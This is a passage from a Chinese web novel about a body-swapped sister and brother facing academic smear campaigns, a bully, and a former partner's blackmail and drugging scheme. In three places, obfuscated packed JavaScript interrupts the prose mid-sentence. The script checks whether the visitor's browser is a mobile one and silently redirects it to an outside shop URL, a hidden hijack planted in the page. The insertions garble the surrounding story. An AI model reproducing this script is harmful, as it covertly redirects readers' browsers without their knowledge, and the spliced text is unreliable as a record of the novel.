此刻,沈知窈用沈渡舟习惯藏在笔筒底下的那把备用钥匙,颤抖着捅开了锁。 抽屉滑开,里面静静地躺着那张准考证。 纸张已经泛黄发脆,边缘被冷汗浸染得起了褶皱。 沈知窈将它翻过来,除了行歪歪扭扭辨认不清的字体,在准考证的右下角,有一个极其浅淡、几乎与纸张底色融为一体的暗红印记——那是半个由于剧烈推搡而留下的血指甲拓印。 沈知窈闭上眼,脑海中的证据链开始疯狂闭合。 武岳母亲手里的血指甲,准考证上的血手印,李浩袖口缺失的扣子,以及那个在楼梯转角慌乱下楼的背影。 这些零散的、被李家用金钱和权力强行拆散的碎片,在十五年后,借着这场荒诞的换身,终于在沈知窈的逻辑框架里汇聚成了一道刺向黑暗的血刃。 南城大学的行政楼的走廊,在声控灯熄灭的瞬间陷入了一种令人窒息的青灰色。 林嘉文坐在办公桌后,原本儒雅的面孔被电脑屏幕的荧光切割得支离破碎。 他慢条斯理地揉着被沈知窈摔得生疼的后腰,每动一下,那股火辣辣的触感都像是在反复扇他的耳光。 他这种人,最恨的不是输,而是输给一个他一直以为可以随意拿捏的“玩物”。 “嘉文,你这伤……沈知窈实在是太过分了,你是什么人,她是什么人……”姚若晨站在窗边,修长的手指抚摸着林嘉文的脸颊。 她转过脸,眼底闪烁着一种近乎癫狂的权力欲。 对于姚若晨来说,只要沈知窈还留在院里,那个正高职称的名额、那个南城项目的署名权,永远隔着一层捅不破的窗户纸。 “是不是她弄的已经不重要了。”林嘉文声音阴沉,像是一条在暗处吐信的毒蛇,“重要的是,她现在攀上了许则安。许则安是什么人?一回来就成了院里的定海神针,学术委员会的活招牌。有他在,别说沈知窈,咱们连南城的一根草都动不了。” “那就连他一起拔了。”姚若晨快步走过来,双手撑在办公桌上,身体前倾,眼神里透着股狠辣,“许则安这种人,最惜羽毛。拿几张沈知窈在他车里待到半夜的照片,说他滥用职权让女同事陪睡……你说,学术道德委员会是信他那张高岭之花的脸,还是信铁证如山的‘私德败坏’?” 林嘉文发出一声短促而刻毒的笑声,他拉开抽屉,取出一份密封的档案袋:“陈芳那边我已经透了风,她一直眼红许则安拿到的专项拨款,只要咱们把火点起来,她就是那把最快的快刀。还有洪德清——那老头子最近被沈知窈当众落了面子,吃了不少苦头正愁没处发泄呢。只要咱们把沈知窈‘自甘下贱、多方勾引’的流言坐实,洪德清为了保住自己的名声,肯定会第一个站出来要求开除她。” “那是自然。”姚若晨冷笑一声,语气里满是对权力的贪婪,“只要沈知窈滚蛋,许则安被停职调查,南城那个项目的主导权自然会落到洪教授手里。到时候,我只要在洪教授身边吹吹风,项目二作的位置,还有那个副c级的待遇,不都是顺理成章的事儿吗?” 林嘉文看着姚若晨那副志在必得的脸,眼底闪过一丝嘲弄,但更多的是一种同类的默契。他从笔筒里抽出一支钢笔,在白纸上重重地画了一个圈,圈心正是“许则安”的名字。 31. 非黑即白 恰逢花开,气温尚且温和。 姚家举办了一场汇集多界精英的“春茗座谈”,地点正好定在郊外一处闹中取静的私人茶邸。 姚若晨家底厚,这些年又极力想往“文化世家”的门楣上靠,于是请了一圈南大社科院人文院的教授,还请了几个在南城收藏界颇有声望的儒商。 沈渡舟跨进那扇红木大门时,掌心里还捏着一把细汗。 这具属于沈知窈的身体,穿着一件极素净的月白色长裙,长发用一根剔透的白玉簪子松松挽起,哪怕只是静静站着,也像是一株开在冷窖里的白山茶。 为了这半天,沈知窈给他开了整整四个小时的“小灶”。 “沈渡舟,你听好。”沈知窈盯着他的眼睛,语气是从未有过的严厉,“孟老会提到‘社会契约’,那是他的命门,你只需要顺着他的话头,聊聊南城郊区失学儿童的心理补偿,别谈大道理,谈你亲眼见过的那些巷子。” “要是有人问我文献呢?”沈渡舟当时有些露怯。 “那就微笑,说‘学术直觉往往先于实证分析’,剩下的交给许则安。” 此刻,沈渡舟端着一杯明前龙井,游走在衣香鬓影间。 他惊讶地发现,当他不再试图用混混的痞气去武装自己,而是彻底沉入沈知窈那种清冷且博学的气场里时,周遭那些平时眼高于顶的“大人物”,看他的眼神竟然多了一份少有的审慎与敬重。 “沈老师,关于您上次在内刊上发表的那篇《地权与血缘》,我有些不同的看法。”一位戴着金丝眼镜的收藏家走过来,语气客气得过分,但话头不够友好,“地权和血缘的交互,本身就是有问题的。” 沈渡舟稳住心神,想起沈知窈教他的法子——不要正面硬刚,要釜底抽薪。 “吴老师,地权是骨骼,血缘是经络。”沈渡舟学着姐姐的样子,微微垂下睫毛,声音清冷而从容,“在南城这种老社区,如果您只看地皮的溢价,而忽略了邻里间那种维持了三代的互助逻辑,那您的商业综合体,恐怕很难落地生根。毕竟,人心才是最难拆迁的违章建筑。” 这一番话,既有社会学的底蕴,又带着一种混迹街头才有的通透和杀伐果断。 这位头发花白的收藏家愣了片刻,随即抚掌大笑:“好一个‘人心是最难拆迁的违章建筑’!沈老师,孟老说你面冷心热,诚不我欺。” 座中一位发须皆白的老者突然抬起头,那是国内社会学泰斗级的人物。他推了推老花镜,饶有兴致地看着沈渡舟:“小沈,我看过你的文章,我还记得有一篇你讲了‘地权置换中的情感溢价’,这个切入点很有意思。具体的科学支撑在哪里?” 沈渡舟心里微微一抖,但面上稳如泰山。他想起沈知窈在笔记本上画的那张极其复杂的逻辑推演图,那是她跑遍了南城十四个村落才整合出来的“科学闭环”。 “主要支撑点在于‘生存空间的社会性延续’。”沈渡舟的声音愈发沉稳,他结合了沈知窈的专业视角与自己对那片烂泥潭最真实的触感,“根据我们对三百七十二份样本的入户访谈,百分之八十的居民抵触拆迁,并非为了更高的补偿,而是因为新社区打破了原有的非正式社会支持网络。这种网络在量化模型中往往被视为零,但在实际执行中却是最大的阻力阻尼。我们引入了‘社区韧性指数’进行二次回归分析,发现……” 沈渡舟讲得接地气,却又处处透着严谨的学术话术。他把那些枯燥的百分比和回归方程,讲成了南城街头巷尾的生死契阔。 不远处的孟繁生孟老也微微颔首,眼里满是欣慰。 沈渡舟第一次感觉到,原来文字和思想的力量,竟然比任何坚硬的东西更有杀伤力。这种被认可的尊严感,让他那颗常年漂浮在南城阴影里的心,第一次有了一种名为“体面”的沉重感。 然而,这宁静的学术氛围里,总有些让人倒胃口的杂质。 林嘉文今天穿得人格风,游走在姚若晨身边,像是个体贴入微的未婚夫。 但他那双阴鸷的眼,始终像毒蛇吐信一般,盯着沈渡舟。 他太不甘心了,三年的算计、半生的伪装,在沈知窈面前崩得粉碎,更让他恐惧的是,现在的“沈知窈”仿佛换了个人,这种掌控之外的变数让他几近发疯。 茶话会进行到一半,众人移步后花园观赏那株百年海棠。 沈渡舟觉得屋内闷得慌,避开人群,走到假山后的一处凉亭透气。 “知窈,你瞒得我好苦啊。” 林嘉文那带着粘腻笑意的声音从身后响起。 沈渡舟浑身的汗毛瞬间立了起来,他转身,看见林嘉文正慢条斯理地解开西装扣子,眼神里透着一股穷途末路的疯狂。 “林老师,姚小姐还在前面等您合影,别走错了地方。”沈渡舟冷声开口,即便穿着旗袍,他看林嘉文的眼神依然像是在看一堆不可回收垃圾。 “姚若晨?”林嘉文嗤笑一声,步步逼近,“她不过是我上位的垫脚石。知窈,你那天那一脚踢得可真狠啊,咱们在一起这么多年,你多么一个和顺的人,如今是怎么了。” 他伸出手,想要去摸沈渡舟的下巴,语气变得下流且刻毒:“其实我挺好奇的,你最近性情大变,是不是许则安在床上把你调教好了?他那种木头,能有我懂你?” 沈渡舟气得太阳穴突突直跳。 这男的人品真的奇差,将女人当做什么了,工具?垫脚石? 如果不是顾忌这身裙子,他现在就想把林嘉文的脑袋摁进旁边的荷花池里。但他深吸一口气,想起了沈知窈未卜先知的交代——“越是脏的东西,越要用最干净的手段处理。” “林嘉文,你这种人,连当垫脚石都嫌硌脚。”沈渡舟冷笑一声,刚要发作,斜刺里突然伸出一只骨节分明、极其修长的大手。 那只手精准且稳固地扣住了林嘉文的手腕,力道之大,竟让林嘉文疼得瞬间弯下了腰。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397052|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“林讲师,既然这么关心我的私生活,不如直接来问我。” 许则安不知道什么时候已经站在了凉亭外。 他今天穿了一件深灰色的羊毛绒混织的西装,衬得整个人愈发清雅,可那双藏在镜片后的眼眸,此刻却深邃得如同三月的寒潭,带着一股让人不战而栗的威压。 “许……许教授。”林嘉文疼得脸色发白,“我只是在跟知窈讨论学术……” “学术讨论到需要动手摸下巴?”许则安微微用力,林嘉文发出一声短促的惨叫,“孟老就在前边,他老人家最看不得学术不端和私德败坏。林老师是想自己过去解释,还是我带你过去?” 许则安松开手,从兜里掏出一块洁白的手帕,像是嫌脏一般,细细地擦拭着刚才碰过林嘉文指尖的每一根手指。 这种极具羞辱感的动作,比任何耳光都要响亮。 “滚。”许则安就短促地吐出一个字。 林嘉文咬着牙,恨恨地看了两人一眼,终究没敢在孟老的眼皮子底下闹大,狼狈地钻进了花丛。 凉亭里重新恢复了寂静。 许则安转过身,看着依旧保持着防备姿态的沈渡舟。 他没有问刚才发生了什么,也没有表现出过分的惊慌,只是自然地走到他身边,将一直拿在手里的薄毯子轻轻披在了他的肩上。 “晚风凉,沈老师要注意身体。”许则安的声音温润如玉,抚平了沈渡舟所有的坏心情。 沈渡舟低头看了看身上的毯子,又抬头看向许则安。 他第一次发现,原来那种“英雄救美”的桥段,发生在现实里竟然一点也不突兀。 许则安这种男人,他的保护欲从不是大喊大叫,而是在你需要的时候,永远能精准地截断所有的恶意,再给你递上一杯恰到好处的蜂蜜温水。 “谢了,许老师。”沈渡舟闷声说了一句,语气里带着点他自己都没察觉到的依恋。 “走吧,孟老还等着你谈谈那个社会调研的收尾。”许则安笑了笑,眼神清亮,“刚才表现得很好,沈老师。” 许则安想说的后半句话,又被他重重咽下。 如果你姐姐知道了,你如今已经能独当一面,也会很欣慰的。 沈渡舟尚且还没意识到,眼前的这个男人,或许早就看穿了这副躯壳下那场荒诞的灵魂错位。 可他非但不说,反而只是默默地守在这里,守着沈知窈的骄傲,也守着沈渡舟那点初生牛犊不怕虎的狂傲和少年意气的自尊。 那一晚,沈渡舟走在回程的路上,看着车窗外不断倒退的霓虹。他想起沈知窈教他的那些晦涩词汇,也想起许则安擦拭手指时的决然。 他突然意识到这两个人在某种意义上完全是一路人。 沈渡舟明白,这个世界并不是非黑即白的。有些真相,需要藏在斯文里去深挖;而有些爱,需要藏在克制里去守护。 这不正是许则安和沈知窈正在做的么。 32. 乌龟壳子 丽花皇宫的名字起得金碧辉煌,实则内里透着股子掩不住的陈腐与燥郁。 这里是南城老城区与新贵地界的交汇点,既有穿西装打领带的掮客,也有一身痞气浑身龙虎刺青的街头混混。 沈知窈裹着那件略显宽大的黑色连帽衫,压低了帽檐,借着错落的霓虹光影,深一脚浅一脚地穿行在后巷的青石板路上。 沈渡舟的这副身体在夜色里有着天然的侵略感,长腿迈开时,带起一阵细微的风。 她本是循着保安队长的线索摸过来的,却在转过洗手间长廊的尽头时,撞见了一场单方面的凌迟。 “李少,求您了……这钱我真不能给……” 一个穿着兼职制服的女学生正蜷缩在冰冷的瓷砖地上,怀里死死抱着个干瘪的皮夹。李浩正歪着头,手里掂着半瓶红酒,琥珀色的液体晃荡着,映出他眼底那种病态的、居高临下的亢奋。 “不能给?在这片地界,老子让你给,那是看得起你。”李浩嗤笑一声,身边的几个跟班发出一阵哄笑。他抬起脚,慢条斯理地踩在女孩细瘦的手指上,微微用力,“沈渡舟那丧门星这段时间没来护着你,你就真以为自己能长出骨头来了?” 沈知窈站在阴影里,手指不自觉地抠紧了掌心。 成年人趋利避害的理智告诉她,这种时候该撤。 她现在的身份是个普通穷学生,手无缚鸡之力。面对蛮横强权的李浩,无异于针尖对麦芒。况且手里的证据链还没完全闭合,若是引起了李浩的注意——任何节外生枝都可能让原本就如履薄冰的计划彻底崩盘。 可就在她准备转身的一瞬,脑海里突然跳出了沈渡舟那张总是挂着不屑、吊儿郎当的脸。 哪怕自己兜里只剩五块钱,他也会把这五块钱扔给小乞丐。 如果是那个浑小子在这儿,这会儿恐怕已经拎着酒瓶子砸上去了吧? 沈知窈自嘲地勾了勾嘴角。 她这辈子都在做最稳妥的选择,唯独这一次,她那明哲保身的灵魂如一只寄居蟹逗留在沈渡舟的身体里,顶着沈渡舟的身体,才能活得像个人。 “李浩,一离开学校就没人捧你了么,非得在一小姑娘身上找存在感?” 沈知窈从阴影里走出来,声线压得极低,那种属于变声期少年的沙哑在空旷的长廊里化开,带着一股子令人脊背发凉的寒意。 李浩的手猛地一抖,红酒溅在了他锃亮的皮鞋上。 他回过头,看见“沈渡舟”单手插兜,眼神冷得像三月里化不开的碎冰,正一步步朝他走来。 “沈渡舟?”李浩眼底闪过一抹极深的惊恐,那是刻在骨子里、因为心虚而产生的应激反应,“你特么阴魂不散是不是?老子教训个手脚不干净的下人,关你屁事!” “关我不关我,你说了不算。”沈知窈停在距离他三步远的地方,目光掠过女孩红肿的手背,最后定格在李浩的脸上,“你一直以来都是这样对吧,恃强凌弱,媚上欺下,对吧?没人在乎你,你就用这样的方式引起人的注意。” “没人在乎”这几个字像是一记无声的重锤,砸得李浩脸色瞬间惨白。他直视沈知窈的那双眼睛,一种被识破的窘迫感像藏在草篮子底下破了壳的鸡蛋,窘迫如鸡蛋腐烂发臭的味道,在那双几近刻薄的眼睛下无所遁形。 他死死盯着沈知窈,试图从那张熟悉的面孔下找出一丝破绽。他开始怀疑,这个疯子胆子突然这么大,这么不怕死,是不是掌握了什么证据。 这种恐惧很快转化成了更刻毒的狠戾。 “给我弄死他!”李浩歇斯底里地吼道,“出了事我顶着!” 几个混混跟班对视一眼,从腰间抽出了弹簧刀。沈知窈心跳如擂鼓,她终究不是沈渡舟,尽管体力上不会吃什么亏,但那些格斗技巧在绝对的人数优势面前显得格外单薄。 就在其中一人挥刀刺向她肩膀的千钧一发之际,一只带着凉意的手,稳稳地扣住了那截横冲直撞的手腕。 紧接着是一声沉闷的骨裂声。 “啊——!” 惨叫声还未落下,沈知窈感觉到自己被一股无法抗拒的力量往后带去,跌入了一个温热且坚实的怀抱。熟悉的冷泉香气瞬间包裹了她所有的不安,那是许则安。 许则安依旧穿着那身挺括的灰色风衣,在这乌烟瘴气的丽花皇宫里,他像是一抹不合时宜的清流。可此时他的眼神,却冷得连李浩都感到了绝望。 “小同学,南城二中的法纪课,你可能需要重修。”许则安的声音不大,却带着一种上位者特有的、不容置疑的威压。 “许老师!您怎么……”李浩微微张嘴,对面前陡然出现的男人表现出畏惧和怯懦,“这是南大的许老师,你们这群狗崽子的眼睛是摆设吗!还不快滚!” 那些小跟班们赶紧捡起地上的家伙落荒而逃。 许则安顺势将沈知窈护在身后,另一只手极其自然地搭在她的肩头,掌心的温热穿过轻薄的卫衣,一点点抚平了她因为过度紧张而颤栗的脊梁。 那一刻,两人的羁绊在灯红酒绿的肮脏背景下显得格外肃穆。 沈知窈仰起头,只能看到许则安紧绷的侧脸轮廓,那种被全然信任、被无条件托底的安全感,让她眼眶一阵发热。 李浩看着许则安,又看看躲在后面的“沈渡舟”,嘴唇哆嗦着,终究没敢再吐出一个字。 “走。”许则安低声对沈知窈说道。 他没有带她走正门,而是牵着她的手,穿过丽花皇宫深邃幽暗的夹道。夜风微凉,吹散了衣襟上沾染的烟酒味。 在走出后巷的尽头,许则安终于停下了脚步。他回过身,借着昏黄的路灯,仔细检查着沈知窈有没有受伤。 那双平日里只看浩如烟海书卷的眼眸里,此刻满是藏不住的心疼与后怕。 “渡舟,以后别一个人来这种地方。”他叹了口气,修长的手指理了理她凌乱的帽檐,动作轻柔得像是在呵护一件易碎的瓷器。 沈知窈看着他,用着沈渡舟的嗓音,却流露出了本尊那种克制而湿润的情绪:“许老师,你怎么来了?” 许则安沉默了片刻,随即露出一抹无奈的苦笑,指腹轻轻摩挲过她的脸颊,那种微妙的触感让空气都变得粘稠起来。 “刚参加完姚氏的座谈会,一回来就没看到你。”他低声说道,“之前听你姐姐提过,你总是在丽花皇宫这儿,不知道是做什么虽然我不知道你为什么总在这儿溜达,但我相信你肯定有你自己的事情,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401335|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过多干涉,只要能确认你是安全的就好。” 南城的街头,霓虹流转,两个灵魂在这一刻,跨越了皮囊的阻碍,在寂静的夜色中深切交汇。 “许老师,你对我这么好,是因为姐姐么?”沈知窈微微抬头,或许是沾染了沈渡舟的直率和缺心眼。 她终于从乌龟壳子里探出脑袋。 许则安喜欢的是真实的沈知窈,还是交换过灵魂的沈知窈呢? 她迟疑,不愿意面对——她想知道答案,却又害怕听到的不是自己心里想的那个答案。 “我若是说,我现在就是因为你呢,哦不,准确说来,正是是现在的你。” ———————— 在座谈会过后的一段时间,依旧是状况不断,行政楼在这一天,又迎来了一场腥风血雨。 沈渡舟跨进办公室时,迎面撞上了一股子山雨欲来的粘腻感。这种感觉他太熟悉了,当年在巷子里被七八个人堵死路口前,空气里就是这种令人作呕的、带着兴奋的紧绷。 陈芳正站在走廊中央,手里攥着几张复印件,嗓门亮得像是掐准了下课铃。她跟沈知窈一向不对付,此时那张抹了厚厚粉底的脸,在冷白灯光下显出一种志得意满的狰狞。 “沈老师,这账目上的十万块专项经费,去向不明啊。”陈芳抖了抖纸张,声音惊动了半个楼层,“听说你最近家里开销挺大?弟弟在外面闯祸,当姐姐的补窟窿是情分,可拿公家的调研费去填私人的坑,这叫违法。” 沈渡舟冷冷地看着她,他整个人透着股阴沉的戾气。他认得这套路,先把水搅浑,再扣上个洗不清的屎盆子。 林嘉文和姚若晨不知什么时候已经走到了人群后方。姚若晨挽着林嘉文的胳膊,身上那件昂贵的真丝衬衫泛着柔和的光,她家里财大气粗,不仅在南城有几家排位靠前的酒店,连副院长都得看她家三分薄面。此时她嘴角微挑,像是在看一场早已写好结局的滑稽戏。 “知窈,我也想替你说话。”林嘉文叹了口气,语气里满是那种令人作呕的痛心疾首,“但这笔钱确实没入账,原本是该拨给南城社会调研项目的,你如果真有难处,私下跟我说,何必走这步险棋?现在洪教授那边也知道了,怕是不好收场。” 话音刚落,走廊尽头传来一声重重的咳嗽。 洪德清背着手,慢条斯理地走过来。他是院里的元老,德高望重这四个字平日里是招牌,关键时刻就是杀人的铡刀。他看沈渡舟的眼神里带着一种被拒绝后的报复欲,刻意压低了嗓音:“小沈啊,学术要有骨气,人品更要有底色。这笔‘黑账’,你得给全院一个交代。” 走廊里的窃窃私语像潮水一样压过来。沈渡舟低头看了看那份所谓的“证据”,心里冷笑。这十万块钱,是沈知窈去年熬了几个通宵做的方案,专门向企业申请来,准备发给南城郊区那些因为拆迁而失学的孩子的“助学金”。手续在许则安那里压着,还没走完最后的盖章流程,却成了这帮人嘴里的非法侵占。 他正准备直接把那张复印件甩在陈芳脸上,身后却传来一阵稳健的脚步声。 “什么黑账?我怎么不知道我批出去的助学金,成了某些人眼里的私房钱?” 人群自发让开一条路。 33. 投怀送抱 “孟……孟老,您怎么还亲自过来了?”洪德清那副傲慢的架势瞬间矮了半截,赶紧换上一副恭顺的笑脸。 孟繁生连正眼都没瞧他,径直走到沈渡舟面前,又看了看陈芳手里那几张纸,发出一声极其轻蔑的嗤笑:“我这辈子带过不少学生,最听不得的就是‘黑账’两个字。这笔钱,是沈老师去年腊月在南城郊外跑坏了两双鞋,磨破了嘴皮子,才给那些孩子求来的过冬钱。账目在我那儿备份着,每一分钱都有贫困生的签名和指纹。怎么,陈老师,你是觉得我这老头子也在帮着她贪污?” 陈芳那张老脸瞬间涨成了猪肝色,嘴唇翕动着,半个字也挤不出来。 “嘉文啊。”孟繁生转过头,看向缩在后面的林嘉文,语调平缓却字字如刀,“我记得你以前跟我说,做学问要先学做人。看来这些年,你把心思都花在钻营上了。沈老师为了她那个弟弟,找过我好几次,不是为了给他找门路,而是求我能不能介绍几个靠谱的社会心理医生,她说她怕这孩子在外面受了委屈没处说,又怕自己太忙顾不上他。这种面冷心热的孩子,会去贪这几万块的救命钱?” 沈渡舟僵在原地。 这是他第一次,从别人口中听到“沈知窈”对他的担忧。那个总是骂他烂泥扶不上墙、总是冷着脸让他滚回去读书的姐姐,原来在那些他看不见的深夜里,曾这样低三声下气地为他求过人。 那一刻,一种从未有过的、滚烫的热流从胸口涌起,直接撞散了被众人指责的寒意。 孟繁生敲了敲拐杖,声音不大,却掷地有声:“学校是做学问的地方,不是演宫斗戏的戏台子。洪德清,你要是觉得这账有问题,咱们现在就去校长办公室,把那十万块钱的汇款单一张张对清楚。要是对不上,我孟繁生摘了这身荣誉退休,要是对上了……你们这几个,是不是也该给个交代?” 林嘉文的冷汗顺着鬓角往下淌,姚若晨则死死咬着下唇,不敢再发一言。 他们设这个局,算准了沈知窈性格孤傲不屑解释,也算准了她人微言轻,却万万没想到,许则安竟然能请动这位多年不问世事的活化石。 孟繁生两次出山,都是为了沈知窈。 “孟老,误会,都是误会。”洪德清尴尬地笑着,带头往后退,“也是下面的人办事不牢靠,看错了,看错了……” 一场足以让沈知窈身败名裂的围剿,在孟繁生几句不咸不淡的重话里,土崩瓦解。 陈芳灰溜溜地溜了,姚若晨扯着林嘉文快步走开,走廊里重新恢复了清净。 许则安走到沈渡舟身边,自然地接过他手里的空水杯,递上一杯冒着热气的姜茶。 “孟老,今天多谢您了。”许则安低声说。 孟繁生看着这对年轻人,轻轻叹了口气,拍了拍沈渡舟的肩膀:“孩子,南城的雨大,伞要撑稳。你一路走来不容易,坚强点,硬气点,他们所有人加起来,不如一个你。” 沈渡舟握着那杯滚烫的姜茶,看着老者远去的背影,又转头看向许则安。 他第一次觉得,沈知窈这个活得像是一场苦修的人生里,其实一直有人在替她撑着那把名为“公道”的伞。 “还有啊,林嘉文那人不行,我老早就跟你说了,不过现在也好,一刀两断了,以后老死不相往来了最好!”孟繁生喉咙里滚了一遭,硬是将那一番话挑明了说,“瞧瞧,还是得小许,郎才女貌的,这才对嘛。” 沈渡舟面露难色,或许是许则安在面前,听到关于林嘉文的话,他有些许尴尬——当然,也是替沈知窈尴尬。 许则安解围道:“孟老师,她害羞,我还没追到她呢。” 孟繁生笑了:“那你还不赶紧的。” “走吧,沈老师。”许则安温和地笑了笑,“调研还没结束,咱们还有正事要做。” 沈渡舟接过许则安递来的保温杯,喝了一大口姜茶,那种辛辣的味道瞬间冲散了周遭的腐朽气。 今日的危机刚平息,下一秒沈渡舟的手机便收到了一封陌生的邮件。 正是这封邮件打乱了沈渡舟所有的计划。 沈渡舟此时正坐在一辆破旧的出租车里,车窗玻璃震颤着,发出一阵阵令人心烦意乱的频率。 他单手支着下巴,指尖无意识地在膝盖上扣着。 这具属于沈知窈的身体,即便是最随意的坐姿,也透着一种拒人于千里之外的清冷。 猜都不用猜是谁,看着对方发来的一条私密链接,点开之后,屏幕上跳出一段极其模糊、昏暗的监控录像。 画面里的沈知窈显然是喝断片了,正半靠在林嘉文怀里,衣衫略显凌乱,甚至有一幕是林嘉文正低头去吻她那截毫无防备的颈项。 沈渡舟:“?” 屏幕前家人们,其实我还没有成年,看这样的照片合适吗?还是亲姐姐的私密照。扣1投票让我暴打渣男好吗? 视频剪辑得极有恶意,断章取义地营造出一种“沈讲师私生活极度混乱、主动索取”的既视感。 随之而来的是一条简短的信息:“知窈,今晚八点,南城国际酒店1208房。我想,你也不希望这段‘学术交流’的视频,出现在明天全院的内网上吧?” 林嘉文知道,沈知窈最看重的是名声,那是她苦熬多年才换回来的尊严——这样的东西流出去,就算她不是靠着美色上位,在外人眼里,她沈知窈靠着潜规则上位的事也算是板上钉钉了。 他也知道,许则安这段时间看得严,所以他特意选了姚若晨家里入股的酒店。 也就是在那儿,他林嘉文就是规矩。 沈渡舟盯着屏幕,嘴角扯出一抹混迹街头多年、玩味的冷笑,他可不信这个邪。 他在南城这种烂泥潭里滚了十七年,什么下三滥的手段没见过?在他眼里林嘉文这种斯文败类,不过是披着西装的臭虫。 他对自己这身“打架”的本事有着近乎唯我独尊的自信——哪怕现在换了副细皮嫩肉的躯壳,可那是刻在骨子里的暴力也不是吃素的。 他没告诉许则安,甚至没跟沈知窈商量。 他觉得这是男人的事,既然占了姐姐的位子,就得替她把这些陈年烂疮一次性挑了。 “师傅,南城国际,开快点。”沈渡舟沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404492|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 晚上八点,酒店长廊的地毯厚实得吃掉了所有的脚步声。 沈渡舟刷开1208的门卡时,屋里只开了一盏昏黄的壁灯。空气中弥漫着一种甜得发腻的熏香,像是在腐烂的果实上盖了一层廉价的香水。 林嘉文坐在真皮沙发上,脱了西装外套,领带松垮地挂在脖子上,手里晃动着一杯深琥珀色的威士忌。 看到沈渡舟进来,他眼神里的贪婪像是终于揭开了封条的野兽,肆无忌惮地在沈知窈这具曼妙的曲线上来回剐蹭。 “知窈,你还是这么准时。”林嘉文站起身,语调黏糊得像化开的胶水,“我就知道,你舍不得……” 沈渡舟反手锁了门,抱着双臂斜靠在玄关处,冷声开口:“视频原件在哪儿?少废话,开个价。” 他这会儿还算是脾气好,没一进门把林嘉文摁地上打,实在是正事要紧,得让这家伙实现交出视频和照片。 “价?”林嘉文发出一声短促的嗤笑,放下酒杯,步步逼近。他的眼神里不只有那种算计成功的快感,更多的是一种压抑已久的、近乎变态的占有欲,“沈知窈,你真以为我缺那点钱?姚若晨能给我的,你给不了;但你能给我的,比铜臭味重要得多,姚若晨哪有你这种清高劲儿带感?” 林嘉文伸出手,想要去摸沈渡舟的脸。 沈渡舟动了。他看准了林嘉文的虎口,打算直接用一个反关节技把这孙子的手给废了。 可当他真正发力的时候,心底猛地沉了一下。 这具身体太轻了。 沈知窈常年伏案、饮食不规律,肌肉强度根本支撑不起这种爆发性的力量。他以为能扭断对方的手腕,结果反馈回来的力量仅仅是让林嘉文踉跄了一下。 更糟糕的是,那股甜腻的香气似乎有问题。沈渡舟感觉到大脑一阵阵发沉,视线开始出现重影。 “话说回来,你还真是……一如既往天真,谨慎过头了吧。” “这么多年,你都不愿意和我更进一步,分手之后却马上对别人投怀送抱,怎么样,许则安确实比我强,勾勾手,你就像狗一样扑了上去……” “意思是?根本就没有照片?” “AI合成的,怎么样,逼真吧?不过这不重要了,今晚过后,图库里会更新很多新素材了,需要你这位女主角来积极配合了。” “想的倒是挺美,傻缺,我鄙视你。”沈渡舟没忍住,咬着下唇朝他比了个中指。 “知窈,你是不是忘了,这儿是姚家的地盘?”林嘉文察觉到了他的异样,脸上的笑容变得极度猥琐和无耻,“我守了你三年,碰都不让碰一下。今晚,我就让你知道,什么叫真正的‘藕断丝连’。” 林嘉文猛地扑过来,将沈渡舟死死按在沙发上。 沈渡舟拼命挣扎,膝盖狠磕对方的腹部,可力量太弱,反而激起了林嘉文的好胜心与占有欲。 长久以来,这个男人在沈知窈的面前处于下位,自卑的心态将他扭曲成禽兽怪物。 他做梦都等着这一天,将沈知窈这样的硬骨头压于身下,没有什么比这更有成就感了。 34. 换回来了 “混蛋……放开!”沈渡舟嘶吼着,声音却因为药物的缘故变得绵软无力。 那一刻,一种从未有过的、灭顶的恐惧瞬间席卷了沈渡舟的灵魂。这恐惧不是为了自己,而是为了沈知窈。 如果这具身体今天在这儿受了伤,因为他的鲁莽、因为他的自负,被林嘉文这种臭虫给糟蹋了……沈渡舟甚至不敢想象,等他们换回来的时候,沈知窈该怎么活下去。 他后悔了,且悔得肠子都要青了。 他以前总觉得自己能护住姐姐,总觉得暴力能解决一切,可他忘了,这个世界上的恶意从来不只是一场巷战,还有这种阴沟里的毒计。他看着林嘉文那张扭曲的、正要凑上来的脸,眼角竟渗出了一滴由于极度屈辱和懊悔而产生的生理性泪水。 “姐……对不起……”他在心里绝望地呐喊。 就在林嘉文的手粗暴地扯开衬衫领口的瞬间,房门外突然传来一声震耳欲聋的巨响。 轰—— 是房门被生生被砸开的声音。 紧接着,一个身穿蓝白相间校服、本该出现在高三教室的身影,像是一道劈开黑暗的惊天炸雷,裹挟着冲天的火气冲了进来。 那是沈知窈。 不,准确地说,那是寄居在沈渡舟那副充满爆发力躯壳里的沈知窈,逆着光站在跟前,沈渡舟目眩之余喃喃叫着沈知窈的名字。 